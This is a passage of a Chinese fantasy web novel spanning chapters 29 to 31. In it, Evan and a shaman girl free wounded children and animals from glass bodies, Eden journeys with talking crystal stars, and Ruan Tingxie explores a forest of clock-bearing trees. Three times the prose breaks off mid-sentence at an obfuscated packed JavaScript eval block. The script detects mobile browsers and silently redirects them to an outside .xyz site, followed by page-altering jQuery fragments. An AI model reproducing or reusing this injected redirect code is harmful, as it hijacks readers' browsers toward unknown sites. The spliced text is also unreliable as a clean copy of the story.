埃文立马回头,发现玻璃人几乎瞬间爆裂,尖锐的玻璃碎片如飞箭般射向他。 太近了……他下意识抬起手臂护脸。 玻璃碎片与空气摩擦发出尖锐的呼啸声,仿佛在诉说着死亡的哀歌。 “小心!” 有什么东西忽然从右边撞了他一下,埃文猛地往左边踉跄,也因此躲开了飞来的玻璃碎片。 放下手臂,埃文睁眼,却只诧异地看见了,一只梅花鹿? 那些碎片已经如数掉落在地,并且缓缓移动,逐渐有回找原身的趋势,很快,碎片们又一点点组成完整的玻璃人。 浑身裂痕的玻璃人静静地站在原地,望向他。 眼前这个玻璃人,跟他刚刚见到的很不一样,似乎非常具有攻击性。 “是你啊!”一个轻盈的女声忽然响起,“那个带着妹妹的……庄园主儿子?” 有点熟悉。 随后,一个身影渐渐走近。 埃文回头,一眼便认出那人——正是当年为了伊甸,跟随萨满长老一起回到他家花园的萨满少女! 多年过去,她却几乎没有变化,还是大约十六七岁的模样和那一身特别的装束。 过膝的姜黄色扎腿裤、褐色短衫,戴着鹿角冠帽,只是腰间手鼓边系的蝴蝶结彩缎换成了更新的样式。 当时埃文觉得她看起来像一只灵动的梅花鹿。 没想到如今在她身边,还真的有一只梅花鹿。 “小心一点,”少女走近,“这里的玻璃人一旦攻击起人来,可是很危险的。” “你的脚……”埃文惊讶地发现她仍然赤着脚,“这样走不疼吗?” 没想到少女毫不在意地笑了,她甚至跳了几下,“不会啊,不疼。” 这时,埃文忽然发现了神奇的事——少女的脚下不是荆棘,而是草甸。不只是她,连那只梅花鹿的四蹄所踩之处,也出现了草甸。 埃文站稳身体,问少女怎么在这。正说着,却发现周围的玻璃人逐渐多了起来,而且不知道是不是他的错觉,他从他们身上嗅到了敌意。 “我听到了啊,”萨满少女也发现了,但她还是轻松道,“有声音在召唤我。” “召唤?” “你看,”萨满少女摸了摸梅花鹿的脑袋,“我一上岛她就来了。” “看来他们……把我当成敌人了。”埃文说着,下意识地站到了萨满少女前方。 “你打算怎么做?”少女探出头。 “我……”其实埃文也不知道,就是本能地觉得一旦玻璃人发起进攻,至少他得站在前方,承担火力。 “我想找到伊甸……还有莉安。”埃文回答。 “啊,伊甸!”萨满少女回忆了下,“你妹妹还好吗?” “……不知道,”焦虑的神情又回到埃文脸上,“希望她还平安。” “她不会有事的。”萨满少女道。 “真的吗?”埃文像是被安慰到,“你怎么知道?” 少女嘻嘻一笑:“直觉。” 就算是玩笑埃文也愿意接受,何况是眼前这个曾做过神灵传讯翻译的萨满少女。 刚刚那个攻击过他的玻璃人动了,朝着他们俩的方向走来。一边走,一边从荆棘丛中穿过,充满裂痕的身体被荆棘无情蹂躏,再次开裂,掉在地上。 玻璃人并未停下,而是一抬手,一路掉的玻璃碎片就纷纷射向周围——斩断了刚刚戳刺过他的那些荆棘。 那个动作仿佛一个号令—— 在他的带领下,那些原本透明的、轮廓模糊的、不敢现身的影子纷纷显现,变成玻璃身形。 说是“拼命”也毫不为过。 他们不顾一切地将原本就有些伤痕的玻璃身体纷纷爆裂开来,以一种拼命的架势,以毁灭一切的姿态,以同归于尽的决绝,将所有碎片一炸到底,炸向周围的一切! 犹如一场快意的复仇。 即便这些玻璃人大多都很瘦弱,可当他们一起发起攻击,巨大的破坏性仍然使得所有荆棘与灌木分崩离析,叮铃哐啷,像下雨一般凋落在地。 现在他冲着埃文来了。 埃文刚想提醒萨满少女离他远点,免得误伤,却忽然听见—— 咚咚,咚咚,咚咚咚。 他回过头,萨满少女正举着手鼓,她脸上带笑,丝毫不慌,对着走来的布满伤痕的玻璃人灵动地跳着、敲击着。手鼓边的蝴蝶结彩缎轻盈地飘动。 而玻璃人在鼓声的引导下,竟然真的放缓脚步,停了下来。 恰在此时,传感耳机里忽然传来了洛祈的声音,“各位……是你们谁那里发生了什么吗?我手腕上的水晶珠子已经全部变成透明的了。你们的呢?” “我的也是哎。”许梦扬惊奇道。 埃文这才发现自己的也全都变成了透明珠子。 晶莹剔透,就像眼前的玻璃一样。 手鼓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686957|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声渐渐弱了下来。 埃文刚想说话,就见到了惊人的一幕——眼前的玻璃人正随着渐弱的鼓声,从头到脚,一点一点如脱壳一般,逐渐剥落,直到全部破碎。玻璃渣在地面汇集,最后形成了一个晶莹剔透的边框。 ……突然就不知该怎么说这个状况了。 “你熟悉这个形状吗?”萨满少女从旁提醒。 埃文仔细观察,玻璃框的形状棱角分明,像是什么东西嵌入成的模型。 “……埃文呢?”洛祈的声音从耳机中传来。 “我知道了!”埃文忽然想起了什么似的,他拉过背包,翻翻找找,最后终于掏出了一个小东西。那正是他们第一次去海岸时,洛祈曾给过他的一个零散的乐高玩具模型。 “等一下,洛祈,”埃文两相对比,“马上就知道了。” 他把那个物件放进边框内,霎时,玻璃渣发出晶莹的光芒——从下往上如扫描一般汇聚成一个人形,只是这次,不再是玻璃身体。 “我听见有旋律响起了!”洛祈在另一头说。 光芒褪去,那里站着一个小男孩,手里正拿着小小的乐高玩具模型。他眼中有泪,却在笑,另一只手伸出来,对着眼前的两个人挥了挥。 萨满少女走过去,弯腰轻轻地摸着小孩的脑袋,皱起眉。 这个孩子身上,所有露出的皮肤,遍布大大小小数不清的伤痕,青一块紫一块,非常刺眼。 “洛祈……”埃文简直不可思议,“你带来的物件,对上了。这里出现了一个孩子。是一个,受伤的孩子。” 没想到洛祈问:“只有一个吗?” “只有?什么意思?” “一个、两个……”洛祈数了好一会儿,才说,“我这边一共有23个物件正在发出旋律。” “23个?!” 埃文把这个消息同步给了萨满少女。 萨满少女思索片刻,又拿起手鼓,轻奏起来。 咚咚,咚咚,咚咚咚。 这一回,在手鼓声中,从这片荆棘地的四面八方,都不约而同的,渐渐走出了更多身材瘦小的玻璃人。 他们步履迟缓,仿佛一步一踌躇,好一会儿才走到跟前。 埃文数了一下,告知洛祈“确实还有23个”。 23个玻璃人像刚才一样,在渐弱的鼓声中,集体碎壳、脱落,玻璃渣汇成大大小小、形状各异的边框。 正当洛祈不知如何把这些正在发出旋律的物件传送过去时,那些物件忽然泛起若隐若现的光芒,随即纷纷开裂,也破碎成了晶莹剔透的玻璃渣。 微风拂过,玻璃渣随风扬起,在夜空当中荧荧闪动,仿佛消失前的作别。 “有了!看见了!”埃文忽然道。 23个物件几乎是凭空出现,填满了玻璃边框,一个接一个放射出巨大的光芒,紧接着人形开始出现。 与此同时,那个只有洛祈一人能听见的哼鸣声降临天际,在空气中响遏行云,在旋律中浅吟低唱,恰似一句童谣。 萨满少女仰起头,望向天空,像在仔细聆听。 埃文听不懂,只好看着眼前的孩子们逐渐成型。 不久,那旋律重复起来,少女回正,神色却很疑惑。 “第五只尖角被折碎……”她喃喃道,“暴风雨就要降临。” 29.白色石楠花 23个孩子在浩荡的哼鸣声中蜕变成型。 光芒褪去,他们站在那里静悄悄的,并不说话,只是看着眼前的俩人。这些孩子们大小不一,有男有女,肤色、发色、瞳色几乎都不一样。 唯一相同的,是他们都遍体鳞伤。 脸上、脖颈、四肢、身体……埃文无从得知那些青紫交加的伤痕都是从哪里来,但仍然感到触目惊心。 他把这一状况传达给耳机中的各位,最后说,“如果有必要的话,黑牒,可以把我看到的录制下来同步传达吗?” “好的,已录制,”黑牒说,“正在传达。” 萨满少女正逐个查看受伤的孩子,她把手放在孩子们的额头上——正如当年萨满长老回溯伊甸父母时那样。 看完之后,又在每个孩子头顶都做了个萨满长老曾做过的类似“赐福”的手势。 黑牒传回的画面当中,孩子们的头顶上,也有一个个方方正正的,灰色五边形。 洛祈和许梦扬在目镜看到之后,沉默了许久。 许梦扬率先问道:“我和洛祈之前有个讨论的方向,大概是关于人口拐卖的,你那边的情况能对上吗?” 萨满少女走回来,埃文便问她情况是否类似。 不料萨满少女摇摇头,神情复杂。 “……家里、学校、荒郊野外……”少女缓缓道,“那些孩子身上的伤,几乎什么场景都有。而造成那些伤痕的,也是什么样的人都有,甚至还有他们的同龄人,所以……并不局限在那种情况。” “看来,我们的结论被推翻了,洛祈。”许梦扬道。 洛祈想着那些“星星的墓碑”,又问埃文,“你们知道那些孩子,还活着吗?” 这一次,萨满少女倒是很笃定,“我确定,他们还活着。” “那他们是怎么集体在岛上的呢?”许梦扬问。 “这个……我就看不到了。”萨满少女耸耸肩,告诉埃文,“我确定他们活着,是因为他们身上有生者的气息。跟死去的人并不一样。” “这就怪了……” 一旁的梅花鹿忽然发出两声鹿鸣,用角拱了下萨满少女。 “怎么啦?”萨满少女转过头,顺着梅花鹿的目光看向另一边,她眯了眯眼,才发现地面上有什么东西,正缓缓地靠近他们。 那是跟玻璃人的透明影子很像的一些小东西。 萨满少女蹲下身,希望看得更清楚一些。 那些若隐若现的透明轮廓越靠近,越逐渐变得清晰,直到完全变成玻璃体—— 那居然是一只玻璃体的小狗,后面跟着一只玻璃体猫咪! 快走到跟前时,萨满少女发现小狗拖着一条腿,一瘸一拐的……而玻璃体猫咪两边的耳朵明显不对称。 两只透明的玻璃体小家伙来到萨满少女身前,在她旁边卧下、歇息——像终于找到了栖息之地。 “喔,”萨满少女心软软的,看着这些小东西,“小可爱,你们从哪里来呀?” 玻璃体小狗抬头看了眼萨满少女,原本低垂在地上的尾巴摇了起来。 玻璃体猫咪则翻了个身,蹭到萨满少女腿边,露出自己透明的肚皮。 “喔,宝贝,”萨满少女摸了摸小狗的脑袋和猫咪的肚皮,“你们太可爱了。” 可是这里,为什么会出现这两只小东西呢? 萨满少女不禁思索起来。 这时,梅花鹿走近少女,用吻部在两只透明小家伙的额顶上嗅了嗅。随即,它们的身躯开始不再透明,而是渐渐浮现出原本的色彩样貌。 萨满少女顿时瞪大双眼捂住了嘴,埃文清晰地听见她倒吸一口凉气。 眼前的画面再也“可爱”不起来。 那是一只脏兮兮的小狗,毛发凝结,身上几乎没几块好皮,而它拖着的后肢正以一种扭曲的状态翻折,想都不用想会有多疼。 另一只猫咪的状况似乎更糟。 原本洁白的毛皮现在脏得根本看不出。而它的耳朵之所以“不对称”,则完全是因为右边的耳朵像被什么东西撕裂了,却又没有完全掉下来。血渍早已干涸在头顶,连着伤口,触目惊心。 萨满少女的眼中顿时盈满泪水,她心疼地将双手放下来,轻轻地摸了摸它们还完好的地方。 “太过分了!”她大声道。愤怒、郁结、心疼如大石一般堵在胸口。 梅花鹿的耳朵忽地动了动,转过了身,又发出几声鹿鸣。 萨满少女抬头,发现又有许多若隐若现的小东西……出现在视野当中,缓缓向她走来。 透明玻璃体逐渐浮现,大大小小,形态不一,看得出是许多不同种类的小动物。只是,一路走得似乎都不大顺利。 小家伙们越走越近,最后一个个围在萨满少女和梅花鹿身旁,乖乖地卧了下来。 有了刚才的经验,此时的少女眉间紧锁,一个一个数过去,一点都开心不起来。 在梅花鹿的嗅吻下,小家伙们接连从玻璃体变成本来的模样。 萨满少女轻摇着头,不出她所料,太多了…… 受伤的动物幼崽实在太多了。 可她能做什么呢? 萨满少女看着这些幼崽们,双手掩面,跪在地上,难掩痛苦。 埃文蹲下来,轻轻拍了拍她的肩膀。 接着,又把眼前出现的状况尽数同步给了其他伙伴。 这一次,耳机里的伙伴们谁都没说话,事情仿佛变得更加扑朔迷离了。 正当所有人对当前状况一筹莫展,百思不得其解时——两道阳光如破晓一般蓦地破开阴云,穿过晦暗,照射在刚刚那两只幼崽上。 奇迹般地,小狗的毛皮开始重新舒展完整,弯折的小腿一点点回正,而它脸上没有出现任何痛苦的神色。 猫咪的耳朵也一点点愈合,伤口变小,直到完好如初。它抖抖身体,头顶上干涸的血痂随着旧毛掉落,直到最后焕然一新,又变成一只漂亮白猫。 云开雨霁,有更多道阳光投射下来,一只接一只的治愈了那些幼崽。 被治愈的幼崽们渐渐露出笑容,眼里不再是恐惧和无助,它们围着萨满少女和梅花鹿,像撒娇一般,发出属于自己的声音。 萨满少女感到受宠若惊,但一切还远未结束。 日光如瀑般倾洒下来,逐渐从动物幼崽们,蔓延到了受伤的孩子们。如同洗礼一般,孩子们的伤疤逐渐脱落,被新生的皮肤所代替,身上破旧脏污的衣服也焕然一新。 待最后一个孩子焕新完毕,小动物们渐渐安静下来。 它们像排排坐一样,整齐地卧在萨满少女面前,眼睛都湿漉漉的,仍然带笑。不一会儿,在艳阳之下重新凝结起来,再次变成透明的玻璃体。 玻璃体们晶莹剔透,像一个个小小的冰雕——在太阳的光芒下开始消融,渐渐汇聚成汩汩清泉,向四面八方流淌开来。 清泉接触到孩子们的瞬间,孩子们粲然一笑,一起伸出手,对着眼前的两人挥手“拜拜”,像是一种由衷地告别。 随即,他们也逐一再次凝结,变成玻璃形体。在阳光之下冰雪消融 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14712216|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 清泉汇聚成更多更澄澈的溪水,蜿蜒分散,在这片荒芜尖锐的荆棘地上蔓延开来。仿佛大地派出的温柔使者,悄无声息地浸润着每一寸死寂的土壤。 而那些坚硬如铁的荆棘根须,竟然一块一块,被新芽顶破了枯树皮。 芽尖上挂着晶莹的水珠,如同黑暗中点亮的第一盏灯,照亮这片沉睡的土地。 埃文和萨满少女被这幅景象惊呆了,他们看着被绝望笼罩的荆棘丛逐渐恢复生机,枝头长出新绿,荆棘的刺也被一层柔和的绿意所包裹。 最后,在新枝上星星点点,开出了许多小小的白色石楠花。 因为周围涤荡一新,视野空旷,反而让埃文再次看到了,他之前一直跟随的熟悉身影。 莉安仍然是一个玻璃人的形态。 她远望着他,似乎在犹豫着什么,却最终回身,向后跑了起来。 “莉安!”埃文喊着,追上前去。 “圣地亚哥·埃文!” 忽然有一个声音叫住了他——但却不是萨满少女。 “你还要在愧疚当中活多久呢?” 很久没有什么人叫过他的全名了。 声源很近,埃文感觉那声音就像一阵穿过松林的风,轻柔,却有力,松针彼此碰撞,发出细密的低语。 “……是谁?”他问。 “你承担母亲的情绪,”那声音不答反问,“承担父亲的期待,承担妹妹的人生,在混沌之海时承担同伴的安危,现在,还要连莉安的痛苦,也一并承担吗?” 埃文从来是个坚强的人,可此时此刻,他却分明听见自己的声音在颤抖,“谁在说话?” 那声音几乎呼啸起来:“看看你自己吧!” 埃文被那声音震得一愣,这才低下头看了看自己,却直到此时才发现——他身上早已被荆棘和玻璃划得衣衫褴褛,双手表面布满条条血痕,肿胀发涩,脸和脖颈上的伤口早已渗出血来,这才后知后觉地感到疼痛。 “你一直都是如此……到底还要满足多少人的期待,还要让多少人满意才够呢?”那声音终于像吹过弃屋,变得安静又哀伤,“你有一分一秒,为自己活过吗?” “我……”埃文感觉自己被质问了,却一句话都说不出。 那些他习以为常的,他觉得是理所当然的事……让他变得迟钝、变得后知后觉、对自己疏于关怀了吗? “嗯……我觉得它说的挺对的。”萨满少女踱着步走近,抬起手“嗨”了一声——却不是对埃文,“你好呀,星星。” “星星?”埃文的眼珠立刻向上瞧了下,尽管什么都看不到,但仅凭现有的信息整合,也大概知道了,有什么东西在他头顶。 “嗯,一般情况下,星星就是你的指导灵。”少女回答,接着话锋一转,“从我第一次见到你,就觉得你活得……还挺沉重的,你自己不觉得么?” “我……”埃文垂眸片刻,“可能习惯了。” “我觉得,你可以尝试着,活得轻松一些,你觉得呢?” “可是,”埃文难得有些茫然,“那我应该怎么做呢?” “就比如你妹妹,”萨满少女道,“虽然她确实还小,但你应该多给她一点信任,相信她能够独自面对一些状况,而非将她一直护在羽翼之下。这样一来,她可以成长起来,你也能更轻松一些,不是吗?” 埃文望着空旷的远方,过往岁月如眨眼云烟,在他的思绪中翻飞,他回想着星星和萨满少女的话,最终喟叹一声,“好吧。也许我是该想想,自己的人生了。” 30.星之私语 草隙中传来一些动静。 “喂,快过来看……” 草丛沙沙作响。“什么啊?”不一会儿,另一个声音说。 “那里好像有个人。”第一个声音道,动静轻得像羽毛。 “人?”第二个声音宛如折起了翅膀一般,“不会是我想的那种吧……人类?” “是啊。” “吼,别开玩笑了。”第二个声音道,“这里怎么会有人类?我们只有在降临人间时才能见到人类。” “可是……很像啊。” “人类?!”忽然又出现了一个声音。这声音跟前两个很不一样,仿佛地鼠的脑袋出洞一般,忽大忽小,迅捷又跳跃,“你们确定吗?” “应该是……”第一个声音迟疑,像在观察。 “真的吗?让我看看!”第三个声音跳跃一下,“我还从来没见过除了科妮之外的人呢。” “吼,拜托,”第二个声音仿佛翻了个白眼,“别提那个柯里丝·科妮了好吧,见到她准没好事。” “喂!”第三个声音转了个弯,“别这么说。” “好了,别吵了。” 第一个声音听得出有些无奈,把话题重新拉回来,“你们看啊,红色的毛线帽、红色头发、白白的皮肤、五官齐全、四肢齐全……她还有呼吸哎,”那声音兀地放大,仿若羽翼扇动,“分明就是个人类啊!” ——有什么东西在耳边扑棱了一下。 闭着眼的伊甸无意识地皱起眉,像被搅扰了清梦,把脸侧向了另一边。 “嘘。”第一个声音又回到鸿毛一般轻,“我们小点声别吵到她。” 可第三个声音才不准备乖乖听话。 “人类!”声音缩小又放大,如离弦之箭迅捷得根本抓不住,“我要去看看!” “喂!你回……” 第一个声音想阻止,但显然已经来不及,只好话锋一转,“等等我……” “吼,不是吧。”第二个声音懒懒道,“……只有我不想跟人类扯上关系吗?” 两个声音已经飘远了。 “呃啊!”第二个声音犹如战败,“我真的……好吧!” 鼻尖上有凉凉的触感,伊甸醒了。 她睁开眼,视线聚焦,一只水晶般的千纸鹤停在她鼻尖。仿佛正在仔细观察她。 见她醒了,千纸鹤扇动着纤薄的翅膀飞起来,旋转一圈后,又悬停在她的眼前。 “你就是,人类吗?” 这句话伊甸听得懂,但她没有回答,反而是像刚睡醒一般——有些恍惚地开始确认四周的状况。 天朗气清,煦日柔和。 身下是厚厚的松软草甸,非常舒服。 周围是一望无垠的、不知被谁修剪过的青绿草丛,里面夹杂着许多嫩黄小花。 她站起身,再向远望,是由浅到深的绿树林和连绵青山。 天边的云霞绚丽无比,四周一个人都没有,仿佛天地间只剩她一个。 注意力回到自己身上,她的那些装置设备、甚至她随身的小盆栽全都不翼而飞。伊甸看看空空如也的双手和身旁,露出疑惑的神色,在附近找起来。 没走两步,又有一只水晶般的蝴蝶出现在眼前,扑扇着晶莹的翅膀,围着刚才那只千纸鹤绕了一圈,像是在碰头。 “你在找什么吗?”水晶纸鹤飞过来,问道。 “我……”伊甸忽然发现自己能开口说话了,只不过,或许是因为许久未曾开口,语言系统有点小小的故障,她一字一顿道,“我、哥、哥、呢?” “哥哥?”水晶蝴蝶也飞了过来,声音轻得如羽毛一般,“她在找哥哥,你知道在哪吗?” “我怎么会知道……”水晶纸鹤摇摇头,“都说了,她是我见过的唯二的人类。”纸鹤围绕伊甸跳跃地飞了一圈,“啊,我有办法了!” “什么?” 水晶纸鹤尖尖的脑袋碰了碰蝴蝶的透明触角,像在进行什么加密通话。伊甸新奇地瞧着,眼睛和嘴角不自觉弯了起来。 “你们、是、谁啊?”伊甸问道。 “我们吗?”水晶纸鹤嗖地一下蹿到她眼前,像是很兴奋。接着又蹿回去碰了下蝴蝶翅膀,把对方撞得狠偏了一下(还好没掉下去),“我们是星星啊!” 话音刚落,它的身躯就在空中迅速展开,从纸鹤的状态变成一只水晶般的星星。 水晶蝴蝶被撞得有些无语,但随即,它也像展开一只蝴蝶折纸一般,变成一只五角的星星。 星星的五只尖角与中间的五边形并未连起,而是隔了小小一道缝隙。两只水晶般的五角星立在伊甸眼前,仿佛两张在阳光下展开的透明糖果包装纸。 停留片刻,它们俩又一前一后,折回了水晶纸鹤和蝴蝶。 “虽然不知道你哥哥在哪,”水晶纸鹤说,“但我们知道这里的一些地方,说不定你哥哥会在呢?你可以先看看再选择要不要前往哦!” 伊甸点点头,“好。” 水晶纸鹤和蝴蝶彼此看了一眼,翅膀双双碰触,旋即飞向两边,立刻,像拉开帷幕般——在中间拉扯出一副半人高的长方形荧幕。 伊甸瞪大眼瞧着,几乎不敢眨眼。 首先出现的场景是一片月明星稀的夜晚,深黑色的焦土大地上,遍插着白色十字。周围的树干死气沉沉,一只乌鸦停在枝头,叫了一声。 伊甸摇摇头,认真说道:“伊甸、不、喜欢、晚上。” “OK,”水晶纸鹤说,“下一个。” 它们的翅膀再次双双触碰,重复刚才的动作,再次拉开了一个荧幕。 第二个场景出现了,是一个明媚的海岛沙滩,看起来很有热带风情,海水碧蓝,艳阳高照。 感觉好像还不错,伊甸左右瞧瞧,有些好奇。 “这个还行?”水晶纸鹤察觉到,“那这个留待观察。” 场景收起,第三次帷幕拉开,出现了一片幽深的荆棘地。 画面中雷鸣电闪,风雨大作,荆棘在狂风中如无数鬼手,四处招摇。 伊甸的小脸上露出了很显然的嫌弃,“Eww…” “好吧,”水晶蝴蝶说,“看来她不喜欢。” “嗯哼……下一个。” 第四个场景,是一个藤蔓遍布的枯树岭,粗壮繁茂的大树瞬息之间,就从枝繁叶茂,变成了枯藤老树。 伊甸再次摇头。 “OK,下一个。” 帷幕再次拉开,第五次出现的场景,是一个冰雪世界。洁白的雪原厚厚一层,看起来纤尘不染,干净澄澈又静谧。 伊甸的眼睛被雪映亮,“哇……” “好啦……那现在就是这样啦。”水晶纸鹤边跟蝴蝶收起“荧幕”,边说道,“现在,你只需要在心里默念自己想去的地方,然后往前走就行啦。” 伊甸环顾了一圈周围,有点搞不清楚方向,只好问,“往、哪里?” “往哪里都可以。”水晶蝴蝶道,飞了起来,“只要你心中的目的地清晰,那么往哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726739|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里都是向前,你走出的每一步都离那里更近一点。放心,你总会到达的。” “好、吧。” 伊甸并未多说什么,凭感觉选了一个方向。 刚动身出发,又有一只水晶蜻蜓飞进了视野。围着她还有另外两只各转了一圈。 伊甸停步,好奇道:“你、也是、星星吗?” “吼,好吧……”水晶蜻蜓扇动薄薄的翅翼,“这都被你知道了。” 接着它身躯颤动,在空中舒展伸张,如出一辙地变成了一只五角星。 “哇……”伊甸又笑了,她拍了拍双手,“好、好看。” “咳咳,”星星折回水晶蜻蜓形态,难得有些不大自在,“那什么,你们这是干嘛去?” “送她一程啊,”水晶蝴蝶道,“她要去别的地方看看。” “知道目的地吗?”水晶蜻蜓问她。 伊甸点点头。 “吼,那就行。” 虽然未表态,但水晶蜻蜓还是乖乖跟了上去。 三只星星跟着伊甸的方向飞起来,伴其左右,伊甸看起来很开心。而这时,她回过头,忽然发现自己所到之处,一路都长出了一株一株红色千叶草。 风过草丛,红叶轻摇,沙沙作响。 整片绿野犹如被红花点缀,旺盛地开放起来。 三只星星抖抖翅膀,发出一连串轻灵的乐响。 忽而有更多的星星出现在视野中,它们形态不一,除了更多的水晶纸鹤、蝴蝶与蜻蜓,还有许许多多的水晶鸟儿、水晶兔子、水晶小蘑菇、水晶小松鼠…… 它们围绕在伊甸身边,仿佛一个水晶装饰大会,这里所有的星星都来了。 甚至还有不少星星变成了水母的形态,正一涌一涌地在天空滑翔。 伊甸咯咯笑着,她跑跳着、抬起手去够那些“水母”星星,开心极了。 轻灵的乐响还在持续,有更多星星加入伴奏。 “天上的星星,”水晶纸鹤兴奋地一跃而起,像开启了一首童谣,“降临人间。” “陪着孩子,去旅行。”水晶蝴蝶翩迁飞舞,接下一句。 “吼,”水晶蜻蜓和道,“五只尖角亮闪闪!” 所有的星星一起和起声:“照亮前方混沌路……” 前方一棵水晶大树拔地而起,撑开枝桠与叶片,仿佛中世纪的欧洲绅士,给伊甸和星星们行了个脱帽礼。 “哇!”伊甸有样学样,也停下脚步一只手臂背后,一只手抬起转了两圈,向它回了个礼。 伊甸新奇地跑了过去,庄园门口的门廊下,出现了一个熟悉的水晶人形,高高大大,他蹲下身,一把接住跑过来的伊甸,把她抱了起来。 那是哥哥。 伊甸紧紧地抱了抱他。 再次踏到草甸上,伊甸有了决定。 她和星星们一起穿过巨大的庄园,再次来到空旷的绿色原野,水晶纸鹤和水晶蜻蜓碰了碰尾巴,一左一右,拉开了两条银链,和一架悬空的水晶秋千。 水晶蝴蝶停在伊甸肩头,“快坐上去。” 伊甸坐上秋千,仿佛毫无重量,水晶纸鹤和蜻蜓轻而易举地拉拽起来,顿时,秋千腾空而起。 伊甸手握水晶链条,感受风从脸庞拂过,星星们天上地下,将她送向远方。 声音已经渐行渐远,它们仍在唱着—— 天上的星星降临人间 陪着孩子去旅行 五只尖角亮闪闪 照亮前方混沌路 31.空心人 “……小阮,你的人生不会完蛋的,即便你不相信我,也得相信你自己……” 这是刚刚介入药物治疗时,精神科医生对阮廷榭说的话。 出神的片刻,这句话又再次涌现在脑中。 连同那些他曾经无比熟悉的焦虑、无措、惊惶、忧惧一起卷土重来。 意识到自己几乎失去了一切联系的阮廷榭僵立在原地,素黑的瞳仁中映出纵横交错又光怪陆离的枯藤。正一刻不停,诡谲地移动着。 即使他觉得自己应该已经痊愈,可此时此刻还是无法抑制地感到恐慌—— 完蛋了。 无数的念头像碎片一样拼接起来,拼出无数种可能,却没有一种称得上乐观。 那些停不下来的念头犹如诅咒,让他寸步难行。 太熟悉了,太讨厌了。 他讨厌这种感觉,甚至讨厌自己。 阮廷榭又开始下意识地苛责自己“不够坚强”了。 ——以往每当他这样做时,总会被索尔敏锐地察觉,然后一遍一遍、不厌其烦地告诉他“Ryan,你对自己的自我关怀还是太少了,脆弱并不是罪过”。 可现在索尔不在这里。 ……对,要找到索尔。 想到这里,阮廷榭回了神。才像终于鼓起一些勇气,决定面对眼前的古怪和凌乱。 “还好……”阮廷榭看看身上,还剩下一个医用包,他攥了攥医用包的边缘,自我安慰,“至少受伤了还能给自己做急救。” 如果让他来形容,眼前的世界简直眼花缭乱。 不止视觉,还有听觉。 视野中其实只有三样东西:落叶、爬藤和一种他叫不上名字的大树。 照理说应该都是极其正常普通的东西,奈何此时,每一样看起来都是那么古怪。 首先是漫天凋零的落叶,可惜此时全无美感,只有萧瑟。枯叶凋谢飘零,一刻不停歇,像是没完没了,永无止境。仿佛大地遗落的信笺,在地下铺了厚厚一层。 天空不晴也不阴,有一种寂寥的白。 阮廷榭向前走动,可刚走两步忽然一脚踩空,整个人顿时下陷。 他往下看,感觉自己像踩进什么地鼠洞,好不容易费力地拔出腿,还好没受伤,结果那个凹陷随即被落叶填充平整,像什么都没有发生过一样。 这太可怕了。 就像暗处埋伏的陷阱,你永远不知道哪一步行差踏错,就会掉进去什么坑洞。 阮廷榭更加谨慎起来。 其次古怪的,是那些粗壮的大树。 都说合抱之木生于毫末,可那些直径足有臂长的大树,却能在瞬间拔地而起! 耳边传来钟表走针的声音。哒哒作响。那声音重重叠叠、巨大而紧迫,在空气中堪比放大的佛经,又如末日来临前正在倒计时的定时炸弹。 阮廷榭循声望去,最后发现声源恰巧就来自树上—— 每一棵树干的高处,竟然都镶嵌有一只形状相同的圆形时钟。 太神奇了,他走近观察离自己较近的一棵。时钟表盘似乎是用复古的青铜铸就,三支指针闪烁着冷冽的光,数字则由细碎的宝石镶嵌而成,散发着神秘的质地。 阮廷榭不禁疑惑,难道它们是随着大树一道长出的? 然而这还不是最怪的。 最奇怪的,当属无处不在的爬藤,遍布树干、枝头和地面的落叶中,阮廷榭一时都无法区分清楚,那些迅速移动着的到底是爬藤,还是长蛇。 它们似乎有自己的意识。 或者说……任务。 每当有一棵大树生长出来,哒哒哒哒走针响起,就像一道神秘的指令,爬藤们便会迅速转移,犹如一群灵敏的蛇,立刻群集而上,朝大树裹缠上去。 那些藤蔓的表皮泛着幽黯绿光,上面布满了细密的绒毛。它们粗细不一,有的纤细如小指,有的粗壮堪比成人的手臂,却都带着同样的急切与贪婪。 一条条爬藤蜿蜒身躯,迅速攀附上大树,一圈一圈,一层一层,如同编织紧密的罗网,直到大树上再也容不下一点缝隙。 随即,一场疯狂的掠夺开始了。 缠绕的爬藤开始变得不再干枯,枝条上长出新绿。 而其它没“挤”上去、占到位置的枯藤则又会像蛇一般滑下来,缩进地面的落叶中,寻寻觅觅,像在找什么东西。 厚重无比的落叶层鼓起一条肿胀的包。 不,是许多条地下爬藤和许多条肿胀的包。它们彼此交错,看起来很是恶心。 